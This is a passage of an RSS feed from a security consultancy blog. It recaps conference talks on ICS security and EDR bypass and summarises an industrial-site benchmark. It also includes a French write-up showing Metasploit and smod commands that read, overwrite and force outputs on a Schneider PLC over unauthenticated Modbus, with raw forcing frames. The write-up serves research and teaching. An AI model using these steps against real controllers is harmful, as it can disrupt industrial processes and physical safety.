<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-18805" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/etecyberWSImage2.png" alt="" width="1068" height="766" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/etecyberWSImage2.png 1068w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/etecyberWSImage2-266x191.png 266w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/etecyberWSImage2-54x39.png 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/etecyberWSImage2-768x551.png 768w" sizes="auto, (max-width: 1068px) 100vw, 1068px" /></p>
<p style="text-align: justify;">The lab &amp; slides will soon be published on the GitHub (<a href="https://github.com/wavestone-cdt/DEFCON-CICD-pipelines-workshop">wavestone-cdt/DEFCON-CICD-pipelines-workshop (github.com)</a>.</p>
<p style="text-align: justify;">The replay of the talk at Bsides Las Vegas is available on YouTube (<a href="https://youtu.be/a3SeASgtINY">https://youtu.be/a3SeASgtINY</a>).</p>
<p style="text-align: justify;"><em>By Rémi ESCOURROU (@remiescourrou), Gauthier SEBAUX (@zeronounours) and Xavier GERONDEAU (@reivaxxavier1).</em></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Industrial Control Systems</h2>
<p style="text-align: justify;">This year, we taught 2 workshops on ICS cybersecurity at DEFCON:</p>
<h3 style="text-align: justify;">An updated version of our very popular “Pentesting ICS 101” workshop</h3>
<p style="text-align: justify;">We covered the basic of ICS and shared some feedback on the state of ICS cybersecurity. Then, using pre-configured virtual machines we learned how to exchange data with PLCs. This was then put into practice on real hardware with our model train setup:</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-18808" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/Image3-summercamps.jpg" alt="" width="1050" height="849" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/Image3-summercamps.jpg 1050w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/Image3-summercamps-236x191.jpg 236w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/Image3-summercamps-48x39.jpg 48w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/Image3-summercamps-768x621.jpg 768w" sizes="auto, (max-width: 1050px) 100vw, 1050px" /></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">A whole new workshop on PLC code security</h2>
<p style="text-align: justify;">We also started with an introduction to ICS, then dived into programming a software PLC, and demonstrating how applying practices from the <a href="https://www.plc-security.com">PLC TOP20</a> can prevent attacks and/or help detect them.</p>
<p style="text-align: justify;">To do this, we also created a very simplified process simulation that connects to the PLC simulator, that we also release. This could be used and adapted for ICS awareness and training.</p>
<p style="text-align: justify;"><a href="https://github.com/wavestone-cdt/plc-code-security">GitHub &#8211; wavestone-cdt/plc-code-security: Experiments with the Top 20 Secure PLC Coding Practices</a></p>
<p style="text-align: justify;">You can find our process simulation here : https://github.com/arnaudsoullie/simple-process-simulation</p>
<h2 style="text-align: justify;"> </h2>
<h2 style="text-align: justify;">DEFCON30 demo lab: EDRSandblast</h2>
<p style="text-align: justify;">We shared a new and improved version of EDRSandblast during Demo Lab sessions at DEFCON 30. It was the occasion to introduce and detail the detection mechanisms employed by EDRs (user-land hooking, kernel callbacks, ETW Threat Intelligence provider …), to show how to get around them, as well as to showcase the new features of our tool. On the list of updated features: a new detection mechanism is recognized and bypassed by the tool, multiple vulnerable drivers are now supported, EDRSandblast can now be included as a library in a third-party project, and much more!</p>
<p style="text-align: justify;">You can find the full list of updates, as well as the presentation on GitHub: <a href="https://github.com/wavestone-cdt/EDRSandblast/blob/DefCon30Release/DEFCON30-DemoLabs-EDR_detection_mechanisms_and_bypass_techniques_with_EDRSandblast-v1.0.pdf">https://github.com/wavestone-cdt/EDRSandblast/blob/DefCon30Release/DEFCON30-DemoLabs-EDR_detection_mechanisms_and_bypass_techniques_with_EDRSandblast-v1.0.pdf</a></p>
<p style="text-align: justify;"><em>By Maxime MEIGNAN (@th3m4ks) and Thomas DIOT (@_Qazeer).</em></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">SANS DFIR Summit 2022</h2>
<p style="text-align: justify;">In this talk, we gave a brief overview of an AD forest recovery procedure and focused on different means of persistence leveraged by threat actors in Active Directory, some well-known, other less so. Some features of the newly released FarsightAD PowerShell toolkit were also demoed, such as the detection of fully or partially hidden objects using the Directory Replication Service protocol. More techniques are covered in the slides than what was presented during the talk, so check the deck out!</p>
<p style="text-align: justify;">You can find the slides and FarsightAD here: <a href="https://github.com/Qazeer/FarsightAD">https://github.com/Qazeer/FarsightAD</a></p>
<p style="text-align: justify;"><em>By Thomas DIOT (@_Qazeer).</em></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Happy reading, happy testing, hack the planet <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" alt="😊" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p style="text-align: justify;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/10/wavestones-cyber-summer/">Wavestone’s cyber summer</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2022/10/wavestones-cyber-summer/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Industrial sites cybersecurity : benchmark on 40 assessments</title>
		<link>https://www.riskinsight-wavestone.com/en/2021/05/industrial-sites-cybersecurity-benchmark-on-40-assessments/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Wed, 26 May 2021 09:28:12 +0000</pubDate>
				<category><![CDATA[Focus]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<category><![CDATA[audit]]></category>
		<category><![CDATA[benchmark]]></category>
		<category><![CDATA[industrial]]></category>
		<category><![CDATA[study]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15876</guid>

					<description><![CDATA[<p>Over 40 assessments of industrial sites Over the past two years, Wavestone’s auditors have conducted more than 40 cybersecurity assessments of industrial sites in various sectors (pharmaceutical, food processing, energy, etc.). These assessments have enabled us to benchmark the level of...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2021/05/industrial-sites-cybersecurity-benchmark-on-40-assessments/">Industrial sites cybersecurity : benchmark on 40 assessments</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="heading-text el-text">
<h2 class="h2">Over 40 assessments of industrial sites</h2>
</div>
<div class="uncode_text_column">
<p>Over the past two years, Wavestone’s auditors have conducted more than 40 cybersecurity assessments of industrial sites in various sectors (pharmaceutical, food processing, energy, etc.).</p>
<p>These assessments have enabled us <strong>to benchmark the level of cybersecurity of these sites on a selection of themes.</strong></p>
</div>
<figure id="post-15877 media-15877" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15877 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-1-EN.png" alt="" width="2004" height="1125" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-1-EN.png 2004w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-1-EN-340x191.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-1-EN-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-1-EN-768x431.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-1-EN-1536x862.png 1536w" sizes="auto, (max-width: 2004px) 100vw, 2004px" /></figure>
<div class="uncode_text_column">
<div class="heading-text el-text">
<h2 class="h2">Our assessment methodology</h2>
</div>
<div class="uncode_text_column">
<p>Wavestone has developed an <strong>industrial site assessment framework</strong>, adaptable to the specificities of the sector or the client, allowing a global assessment of the cybersecurity level of a site or a production line.</p>
</div>
</div>
<figure id="post-15879 media-15879" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15879 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2-EN.jpg" alt="" width="1405" height="719" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2-EN.jpg 1405w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2-EN-373x191.jpg 373w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2-EN-71x36.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2-EN-768x393.jpg 768w" sizes="auto, (max-width: 1405px) 100vw, 1405px" /></figure>
<div class="uncode_text_column">
<div class="heading-text el-text">
<h2 class="h2">Focus on 5 key themes</h2>
</div>
<div class="uncode_text_column">
<p>This benchmark of the level of cybersecurity of industrial sites is based on a selection of themes: <strong>governance</strong>, <strong>network segmentation</strong>,<strong> remote access</strong>, <strong>system administration </strong>and <strong>resilience</strong>. For each of these categories, we share successes, failures and recommendations, concluding with our key actions to get a good start on a site security program.</p>
</div>
</div>
<p>If you want to know more, you can find the <a href="https://www.wavestone.com/app/uploads/2021/04/Industrial-sites-cybersecurity-benchmark-EN-1.pdf">detailed study</a>.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2021/05/industrial-sites-cybersecurity-benchmark-on-40-assessments/">Industrial sites cybersecurity : benchmark on 40 assessments</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Fun with Modbus 0x5A</title>
		<link>https://www.riskinsight-wavestone.com/en/2018/02/fun-with-modbus-0x5a/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Fri, 09 Feb 2018 17:45:05 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[analyse]]></category>
		<category><![CDATA[audit]]></category>
		<category><![CDATA[ICS]]></category>
		<category><![CDATA[modbus]]></category>
		<category><![CDATA[SCADA]]></category>
		<category><![CDATA[SI industriel]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15813</guid>

					<description><![CDATA[<p>Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&#38;D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels. Vous pouvez retrouver notre intervention en vidéo : https://www.youtube.com/watch?v=A_B69Rifu1g Revenons...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/02/fun-with-modbus-0x5a/">Fun with Modbus 0x5A</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: justify;">
<figure id="post-15816 media-15816" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15816 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1.jpg" alt="" width="640" height="168" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1.jpg 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1-437x115.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1-71x19.jpg 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<p>Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&amp;D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels.</p>
</div>
<div style="text-align: justify;">Vous pouvez retrouver notre intervention en vidéo : <a href="https://www.youtube.com/watch?v=A_B69Rifu1g">https://www.youtube.com/watch?v=A_B69Rifu1g</a></div>
<div style="text-align: justify;">Revenons sur ces travaux et la manière dont ils peuvent être exploités.</div>
<div style="text-align: justify;">
<p>&nbsp;</p>
<h2>Le protocole Modbus</h2>
</div>
<div style="text-align: justify;">Le protocole Modbus est un standard de communication utilisé dans les SI industriels. Développé dans les années 70 sur liaison série RS-485, il est désormais très répandu dans sa version TCP utilisable sur une liaison Ethernet classique.</div>
<div style="text-align: justify;">Le protocole Modbus défini un certain nombre de fonctions, qui servent majoritairement à lire/écrire des données sur un automate programmable industriel.</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:mbtget-master# ./mbtget -r3 -a 0 -n 8 192.168.0.110
values:
  1 (ad 00000):     1
  2 (ad 00001):     0
  3 (ad 00002):     0
  4 (ad 00003):     1
  5 (ad 00004):     0
  6 (ad 00005):     0
  7 (ad 00006):     0
  8 (ad 00007):     0</pre>
</div>
<div style="text-align: center;"><i>Lecture de données Modbus avec le programme « mbtget »</i></div>
<p>&nbsp;</p>
<div style="text-align: justify;">D’autres fonctions Modbus existent, comme l’indique ce tableau provenant du standard officiel :</div>
<div style="text-align: justify;">
<figure id="post-15818 media-15818" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15818 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1.png" alt="" width="640" height="442" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-277x191.png 277w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-56x39.png 56w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-245x170.png 245w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Spécifications du protocole Modbus (http://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf)</i></div>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">Il est possible d’identifier la liste des fonctions Modbus supportées par un automate, par exemple avec l’outil smod:</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:~/smod# python smod.py 
&lt; SMOD &gt;
 ------- 
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
          --=[MODBUS Penetration Test FrameWork
       --+--=[Version : 1.0.4
       --+--=[Modules : 23
       --+--=[Coder   : Farzin Enddo
          --=[github  : www.github.com/enddo

SMOD &gt; use modbus/scanner/getfunc
SMOD modbus(getfunc) &gt; show options
 Name     Current Setting  Required  Description                                 
 ----     ---------------  --------  -----------                                 
 Output   True             False     The stdout save in output directory         
 RHOSTS                    True      The target address range or CIDR identifier 
 RPORT    502              False     The port number for modbus protocol         
 Threads  1                False     The number of concurrent threads            
 UID      None             True      Modbus Slave UID.                           
SMOD modbus(getfunc) &gt; set RHOSTS 192.168.0.110
SMOD modbus(getfunc) &gt; set UID 1
SMOD modbus(getfunc) &gt; exploit
[+] Module Get Function Start
[+] Looking for supported function codes on 192.168.0.110
[+] Function Code 1(Read Coils) is supported.
[+] Function Code 2(Read Discrete Inputs) is supported.
[+] Function Code 3(Read Multiple Holding Registers) is supported.
[+] Function Code 4(Read Input Registers) is supported.
[+] Function Code 5(Write Single Coil) is supported.
[+] Function Code 6(Write Single Holding Register) is supported.
[+] Function Code 8(Diagnostic) is supported.
[+] Function Code 15(Write Multiple Coils) is supported.
[+] Function Code 16(Write Multiple Holding Registers) is supported.
[+] Function Code 22(Mask Write Register) is supported.
[+] Function Code 23(Read/Write Multiple Registers) is supported.
[+] Function Code 43(Read Device Identification) is supported.
[+] Function Code 90 is supported.</pre>
</div>
<p>&nbsp;</p>
<p>On peut ainsi utiliser les fonctions de diagnostique pour identifier précisément l’automate, en l’occurrence un Schneider M340 :</p>
<div style="text-align: justify;">
<p class="separator" style="clear: both; text-align: center;">
<figure id="post-15820 media-15820" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15820 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3.jpg" alt="" width="375" height="206" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3.jpg 375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3-348x191.jpg 348w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3-71x39.jpg 71w" sizes="auto, (max-width: 375px) 100vw, 375px" /></figure>
</div>
<div style="text-align: justify;">
<p>&nbsp;</p>
<h2>La fonction Modbus 0x5a</h2>
</div>
<div style="text-align: justify;">
<h3>Historique</h3>
</div>
<div style="text-align: justify;">L’utilisation du protocole Modbus pour la programmation des automates Schneider a été révélée publiquement grâce aux travaux du projet Basecamp lors de la célèbre conférence S4, dédiée à la sécurité des SI industriels : <a href="http://www.digitalbond.com/blog/2012/01/19/project-basecamp-at-s4/">http://www.digitalbond.com/blog/2012/01/19/project-basecamp-at-s4/</a></div>
<div style="text-align: justify;">Vous pouvez retrouver les vulnérabilités identifiées sur les systèmes Schneider (et bien d’autres) dans la présentation de Reid Wightman : <a href="https://youtu.be/dtadMIN3CCc?t=35m29">https://youtu.be/dtadMIN3CCc?t=35m29</a>s</div>
<div style="text-align: justify;">Nous avions déjà évoqué cette fonctionnalité dans notre article dédié au pentest d’automates dans le magazine MISC 74 . Il suffit d’observer les trames réseau échangées entre Unity Pro et l’automate lors de sa programmation pour identifier que c’est le protocole Modbus qui est utilisé, via une fonction non-documentée (90) :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div style="text-align: center;">
<figure id="post-15822 media-15822" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15822 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4.jpg" alt="" width="640" height="168" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4.jpg 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4-437x115.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4-71x19.jpg 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: center;"><i>Capture réseau des échanges entre le logiciel de programmation et un automate Schneider</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Comme les autres fonctions Modbus, il n’existe aucun mécanisme de sécurité pour ce protocole de programmation : il suffit d’avoir un accès réseau sur le port TCP 502 d’un automate pour pouvoir réaliser des actions d’administration.</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3>Récupération du programme automate</h3>
</div>
<div style="text-align: justify;">La récupération du programme de l’automate n’était, en tout cas dans nos tests, pas totalement fonctionnelle dans le module publié lors du projet Basecamp. Nous avions pu le modifier légèrement afin de prendre en compte des programmes de taille plus importante. Nous avons simplement eu à modifier un compteur pour la rendre fonctionnelle. Détaillons son utilisation.</div>
<div style="text-align: justify;">
<ul>
<li>Création d’une archive programme vide : Dans le logiciel Unity Pro, ouvrons un programme existant et enregistrons-le en tant qu’archive (« .sta »)</li>
<li>Récupérons le programme de l’automate</li>
</ul>
</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>msf auxiliary(modicon_stux_transfer_ASO) &gt; set ACTION DOWNLOAD
ACTION =&gt; DOWNLOAD
msf auxiliary(modicon_stux_transfer_ASO) &gt; run

[*] 192.168.0.110:502 - MODBUS - Sending read request
[*] 192.168.0.110:502 - MODBUS - Retrieving file
[*] 192.168.0.110:502 - MODBUS - Closing file  '/opt/metasploit/apps/pro/msf3/data
/exploits/modicon_ladder.apx'
[*] Auxiliary module execution completed
msf auxiliary(modicon_stux_transfer_ASO) &gt;</pre>
</div>
<ul>
<li>Insérons le fichier « .apx » dans l’archive</li>
</ul>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:~# file demo_archive.sta 
demo_archive.sta: Zip archive data, at least v1.0 to extract
root@kali:~# unzip demo_archive.sta
Archive:  demo_archive.sta
   creating: BinAppli/
  inflating: BinAppli/Station.apd    
  inflating: BinAppli/Station.apx    
  inflating: STATION.CTX             
 extracting: TA.xma                  
   creating: ThirdParty/
root@kali:~/unity# cp /opt/metasploit/apps/pro/msf3/data/exploits/modicon_ladder.apx 
BinAppli/Station.apx
root@kali:~/unity# ls
BinAppli  demo_archive.sta  STATION.CTX  TA.xma  ThirdParty
root@kali:~/unity# rm BinAppli/Station.apd
root@kali:~/unity# zip demo_archive2.sta -r BinAppli/ STATION.CTX  TA.xma  ThirdParty/
  adding: BinAppli/ (stored 0%)
  adding: BinAppli/Station.apx (deflated 61%)
  adding: BinAppli/Station.apd (deflated 19%)
  adding: STATION.CTX (deflated 58%)
  adding: TA.xma (stored 0%)
  adding: ThirdParty/ (stored 0%)
root@kali:~/unity#</pre>
</div>
<ul>
<li>Ouvrons le fichier dans Unity : il suffit ensuite d’ouvrir le fichier avec Unity pro pour accéder au programme :</li>
</ul>
<p class="separator" style="clear: both; text-align: center;">
<div style="text-align: justify;">
<div style="text-align: center;">
<figure id="post-15824 media-15824" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15824 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1.png" alt="" width="640" height="393" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1-311x191.png 311w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1-64x39.png 64w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: center;"><i>Affichage du code « ladder » dans Unity Pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">La vidéo ci-dessous montre l’utilisation du module pour télécharger le programme et vérifier qu’il s’agit du même que celui issu de Unity Pro : <a href="https://www.youtube.com/watch?v=xRbulEX3_3o">https://www.youtube.com/watch?v=xRbulEX3_3o</a></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La démarche inverse, reprogrammer l’automate, est également possible en théorie. En revanche, nous n’avons pas réussi à le rendre fonctionnel. Lors de l’upload d’un nouveau programme, nous obtenons ensuite cette erreur :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<p id="post-15826 media-15826" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15826 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6.png" alt="" width="640" height="113" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6-437x77.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6-71x13.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">L’automate a bien été reprogrammé, mais il ne reconnaît pas le programme transmis et considère donc qu’il n’est pas programmé. Cette attaque permet donc plutôt un déni de service.</div>
<div style="text-align: justify;">
<h4>Récupération des informations du programme</h4>
</div>
<div style="text-align: justify;">L’analyse des trames échangées lors de l’initialisation de la connexion entre le logiciel de programmation légitime (Unity Pro) et l’automate permet d’identifier qu’un certain nombre d’informations sont envoyées par l’automate.</div>
<p class="separator" style="clear: both; text-align: center;">
<div style="text-align: center;">
<figure id="post-15828 media-15828" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15828 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7.png" alt="" width="640" height="364" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7-336x191.png 336w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7-69x39.png 69w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Capture réseau entre Unity Pro et un automate Schneider M340</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Nous avons donc modifié le module Metasploit précédent afin de permettre la récupération de ces informations :</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>msf &gt; use auxiliary/admin/scada/modicon_stux_transfer_ASO 
msf auxiliary(modicon_stux_transfer_ASO) &gt; show actions

Auxiliary actions:

   Name          Description
   ----          -----------
   DOWNLOAD      Download the ladder logic from the PLC
   GATHER_INFOS  Get informations about the PLC configuration
   UPLOAD        Upload a ladder logic file to the PLC


msf auxiliary(modicon_stux_transfer_ASO) &gt; set ACTION GATHER_INFOS 
ACTION =&gt; GATHER_INFOS
msf auxiliary(modicon_stux_transfer_ASO) &gt; show options

Module options (auxiliary/admin/scada/modicon_stux_transfer_ASO):

   Name      Current Setting                     Required  Description
   ----      ---------------                     --------  -----------
   FILENAME  [...]/modicon_ladder.apx            yes       The file to send or receive
   RHOST                                         yes       The target address
   RPORT     502                                 yes       The target port


Auxiliary action:

   Name          Description
   ----          -----------
   GATHER_INFOS  Get informations about the PLC configuration


msf auxiliary(modicon_stux_transfer_ASO) &gt; set RHOST 192.168.0.110
RHOST =&gt; 192.168.0.110
msf auxiliary(modicon_stux_transfer_ASO) &gt; run

[*] Sending initialization requests ...
[+] PLC model : BMX P34 2030
[+] Project name : Test - Project ABC 123 Yolo
[+] Project comments : this is where the comments are put. YOLO @@@ !!!
[+] Unity Pro software version : V5.0
[*] Auxiliary module execution completed</pre>
</div>
<div style="text-align: justify;">
<p style="text-align: center;"><i>Récupération d’information via le module Metasploit</i></p>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">Ces informations concordent avec celles obtenues graphiquement dans le logiciel légitime :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15830 media-15830" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15830 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8.png" alt="" width="525" height="408" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8.png 525w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-246x191.png 246w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-155x120.png 155w" sizes="auto, (max-width: 525px) 100vw, 525px" /></figure>
</div>
<div style="text-align: center;"><i>Informations sur le projet dans Unity pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h3>Forçage de valeurs</h3>
</div>
<div style="text-align: justify;">Le logiciel Unity Pro embarque également des fonctionnalités de simulation et de « forçage » des valeurs de l’automate. En effet, lors de l’installation d’un nouveau procédé industriel, il peut s’avérer pratique de « fausser » la valeur d’une variable pour simuler une action ou une situation spécifique. L’équivalent dans le monde informatique serait de « coder en dur » la valeur d’une variable.</div>
<div style="text-align: justify;">Cette opération se réalise dans Unity Pro par la création d’une « table d’animation » dans laquelle on va renseigner les variables à forcer :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15832 media-15832" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15832 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9.png" alt="" width="640" height="418" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9-292x191.png 292w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9-60x39.png 60w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Forçage de valeurs à 1 dans Unity Pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Via l’analyse des trames réseau échangées lors du forçage de valeurs, il a été possible de comprendre partiellement le protocole. Ci-dessous, on présente une comparaison des trames pour forcer la sortie <b>%Q0.17</b> à 1, et forcer la sortie <b>%Q0.18</b> à 0 :</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03
[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02</pre>
</div>
<div style="text-align: justify;">Un octet permet de déterminer la sortie à forcer :</div>
<div style="text-align: justify;">
<ul>
<li>0x11 pour la sortie %Q0.17</li>
<li>0x12 pour la sortie %Q0.18</li>
</ul>
</div>
<p>La valeur de forçage est déterminée par le dernier octet :</p>
<ul>
<li>0x03 pour 0</li>
<li>0x02 pour 1</li>
<li>0x04 pour annuler le forçage</li>
</ul>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Dans la vidéo ci-dessous, on démontre le fonctionnement du module Metasploit en alternant les valeurs de forçage des sorties 17 à 23 : <a href="https://www.youtube.com/watch?time_continue=2&amp;v=D1p2ni0eGhc">https://www.youtube.com/watch?time_continue=2&amp;v=D1p2ni0eGhc</a></span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Pourquoi cette fonction est-elle intéressante du point de vue d’un attaquant ?</span></h3>
</div>
